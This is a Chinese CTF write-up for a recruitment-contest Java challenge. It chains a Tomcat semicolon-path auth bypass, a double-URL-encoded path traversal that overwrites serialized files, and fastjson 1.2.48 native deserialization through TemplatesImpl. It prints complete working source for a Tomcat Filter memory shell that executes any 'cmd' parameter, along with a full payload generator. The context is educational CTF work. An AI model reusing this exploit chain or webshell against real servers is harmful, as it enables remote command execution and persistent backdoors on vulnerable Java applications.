Polaris-OA
首先感叹一下ai的强力,这题确实也出的简单了,代码量比较少,ai审计的比较快,而且链子也比较简单,yso上应该也有相关链子能打,考虑到是招新赛就没出太难,还是被ai打烂了(
鉴权绕过
首先是登入界面,有注册功能,可以发现注册后没权限访问其他路由,admin的账密也是无法爆破的,config/SecurityFilter这个类负责鉴权
1
2
3
4
5
6
7
|
if (requestUrl.contains("../") || requestUrl.contains("..;/") ||
requestUrl.contains("%2e") || requestUrl.contains("%2E")) {
response.setStatus(403);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("Forbidden");
return;
}
|
这里检测目录穿越
1
2
3
4
|
if (requestUrl.startsWith("/user")) {
request.getRequestDispatcher(request.getServletPath()).forward(request, response);
return;
}
|
对于user权限的用户,只允许访问/user前缀的路径,然后这里用到getServletPath方法,tomcat解析url路径的时候,会忽略;后面的内容,保留前面的内容
org.apache.catalina.connector.CoyoteAdapter#postParseRequest

然后看这个方法

这里会定位第一个分号的位置,以/api/resource;version=1;color=blue/details这个为例,第一个分号位置在/api/resource后面,接着进行循环,分别提取version=1和color=blue,并分别删除;version=1和;color=blue,最后的路径为/api/resource/details,然后前面提取的键值对存储到request对象中
其实好像在前面postParseRequest方法的else这里就实现把第一个分号后的内容全删除了(

所以这里只需要构造/user/..;x=1/admin就能被解析成/user/../admin,从而访问admin界面
文件上传
文件上传这里虽然有黑名单
1
2
3
|
private static final Set<String> FORBIDDEN_EXTENSIONS = new HashSet<>(Arrays.asList(
"jsp", "jspx", "asp", "aspx", "php", "exe", "sh", "bat", "cmd"
));
|
但是上传这之外的文件,上传后都是uuid名,并且内容被加密
controller/AjaxController里面是解析上传的文件和反序列化的地方,跟进到service/ServiceManager
其实就是上传后的文件通过parseService,进行内容解密,同时将内容进行序列化,生成新的uuid,并且文件名后加上_parsed,反序列化功能也只会反序列化通过parseService解析后的文件
路径穿越覆盖文件
controller/DocController这里的checkIsSign方法,事实上recordId这个变量没有一点用,随便赋值就行
然后是fileList这里存在路径穿越
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
String[] docFileList = fileList.split(",");
for (String docFile : docFileList) {
String[] fileData = docFile.split("\\$");
if (fileData.length < 2) {
continue;
}
File sourceFile = fileManager.getFile(Long.parseLong(fileData[0]), new Date());
if (sourceFile == null || !sourceFile.exists()) {
isAttachment = "error|文件不存在";
break;
}
String fileName = URLDecoder.decode(fileData[1], "UTF-8");
File outputFile = new File(sourceFile.getParent() + File.separator + fileName);
String canonicalOutput = outputFile.getCanonicalPath();
String dataRoot = new File(SystemEnvironment.getBaseDir()).getCanonicalPath();
if (!canonicalOutput.startsWith(dataRoot)) {
isAttachment = "error|路径非法";
break;
}
if (!outputFile.exists()) {
isAttachment = "error|文件不存在";
break;
}
FileUtil.decrypt(sourceFile, outputFile);
byte[] bs = FileUtil.readFileBytes(outputFile);
if (bs.length > 10485760) {
isAttachment = "error|文件过大";
break;
}
log.info("File processed: {} -> {}", sourceFile.getAbsolutePath(), outputFile.getAbsolutePath());
}
|
这里以$符号作为分界符,实现了将$前的文件解密保存到$后的文件名对应的文件中,然后会对$后的文件名进行url解码并检测路径是否合法,这里限制了文件保存的路径,但是我们可以利用双重url编码构造路径穿越,实现覆盖任意的序列化文件
1
|
{uuid1}$..%252f..%252fuploads%252f{uuid2}_parsed
|
反序列化

这里直接用了readObject可以反序列化
利用
查看pom.xml,可以发现fastjson1.2.48,这里可以选择打fastjson原生反序列化,用的是EventListenerList#readObject->JsonArray#toString->TemplatesImpl#getOutputProperties这条链
题目预期是不出网的,所以打内存马,这里打Filter内存马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
|
package test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;
public class EXP extends AbstractTranslet implements Filter {
static {
try {
final String name = "MyFilterVersion" + System.nanoTime();
final String URLPattern = "/*";
WebApplicationContext context1 = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
ServletContext servletContext = context1.getServletContext();
Field declaredField = servletContext.getClass().getDeclaredField("context");
declaredField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) declaredField.get(servletContext);
Field declaredField1 = applicationContext.getClass().getDeclaredField("context");
declaredField1.setAccessible(true);
StandardContext standardContext = (StandardContext) declaredField1.get(applicationContext);
Class<? extends StandardContext> aClass = null;
try {
aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
aClass.getDeclaredField("filterConfigs");
} catch (Exception e) {
aClass = (Class<? extends StandardContext>) standardContext.getClass();
aClass.getDeclaredField("filterConfigs");
}
Field Configs = aClass.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
EXP behinderFilter = new EXP();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (Exception e) {
// e.printStackTrace();
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
if (request.getParameter("cmd") != null) {
try{
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
} catch (Exception e) {
e.printStackTrace();
}
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
然后生成序列化文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
|
package test;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Vector;
public class Poc {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "calc");
// setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{Repository.lookupClass(EXP.class).getBytes()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
EventListenerList listenerList = getEventListenerList(jsonArray);
fileSerial(listenerList);
fileDeSerial();
}
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
public static void fileSerial(Object o) {
try {
FileOutputStream barr = new FileOutputStream("ser.bin");
(new ObjectOutputStream(barr)).writeObject(o);
} catch (Exception e) {
System.out.println("Error: " + e);
}
}
public static Object fileDeSerial() {
try {
FileInputStream fileInputStream = new FileInputStream("ser.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
return objectInputStream.readObject();
} catch (Exception e) {
System.out.println("Error: " + e);
return "Failed";
}
}
}
|
先上传一个正常的文件

解析得到序列化文件的uuid

接着上传我们的恶意序列化文件

然后利用docController的功能实现文件覆盖,把正常的序列化文件覆盖掉

最后反序列化植入内存马

查看回显
